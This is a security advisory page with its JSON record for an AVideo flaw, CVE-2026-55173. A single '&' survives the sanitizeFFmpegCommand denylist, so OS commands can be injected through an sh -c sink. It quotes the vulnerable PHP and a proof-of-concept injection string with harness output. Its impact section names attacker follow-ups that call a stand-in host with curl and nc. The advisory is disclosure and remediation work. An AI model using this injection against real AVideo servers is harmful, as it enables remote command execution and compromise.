Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-WC3F-XC32-435F

    Vulnerability from github – Published: 2026-06-23 17:42 – Updated: 2026-06-23 17:42
    VLAI
    Summary
    AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
    Details

    Summary

    The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.

    Verified at master HEAD.

    The surviving gap

    HEAD sanitizeFFmpegCommand (functions.php):

    $command = str_replace('&&', '', $command);                    // only the doubled form
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'
    $command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command);   // char class has no '&'
    // then requires the result to start with 'ffmpeg'
    

    A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.

    Sink (unchanged)

    plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:

    $command = addcslashes($command, '"');   // line 686 — escapes only the double-quote
    $commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";  // line 705
    exec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c
    

    The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.

    Reachability

    ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).

    Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)

    Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:

    attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
    after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
    ampersand survived : YES   passes prefix : YES
    final sh -c string:
      nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
    >> injected touch executed: YES (/tmp/avideo_amp_rce_proof)
    

    The sanitizer leaves & intact and the injected touch runs at the sink.

    Impact

    Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.

    Remediation

    Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).

    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "Packagist",
            "name": "wwbn/avideo"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "last_affected": "29.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-55173"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-78"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-23T17:42:17Z",
        "nvd_published_at": null,
        "severity": "HIGH"
      },
      "details": "### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)`. It still does **not** neutralize a single `\u0026` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original \u2014 only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);                    // only the doubled form\n$command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);  // strips \u0027\u0026\u0027 only when followed by \u0027\u003e\u0027\n$command = preg_replace(\u0027/[;|`\u003c\u003e$()\\n\\r{}]/\u0027, \u0027\u0027, $command);   // char class has no \u0027\u0026\u0027\n// then requires the result to start with \u0027ffmpeg\u0027\n```\nA single `\u0026` is therefore preserved. `ffmpeg ... \u0026 \u003ccmd\u003e` passes the sanitizer and the `strpos(trim($command),\u0027ffmpeg\u0027)===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -\u003e `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, \u0027\"\u0027);   // line 686 \u2014 escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 \u2014 PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `\u0026` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `\u0026`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput(\u0027codeToExecEncrypted\u0027))`. This is the **same** threat model the original advisory accepted (\u201can attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server\u201d) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo $! \u003e /tmp/testkw.pid\" \u003e /dev/null 2\u003e\u00261 \u0026\n\u003e\u003e injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `\u0026` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `\u0026`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `\u003e` strip, but command execution (e.g. `\u0026 curl http://attacker/...`, `\u0026 nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `\u0026` to the stripped set \u2014 but the denylist approach has now missed two metacharacters in a row (`$()` then `\u0026`).",
      "id": "GHSA-wc3f-xc32-435f",
      "modified": "2026-06-23T17:42:17Z",
      "published": "2026-06-23T17:42:17Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"
        },
        {
          "type": "WEB",
          "url": "https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/WWBN/AVideo"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single \u0027\u0026\u0027 (background operator), giving OS command execution at the same execAsync sh -c sink"
    }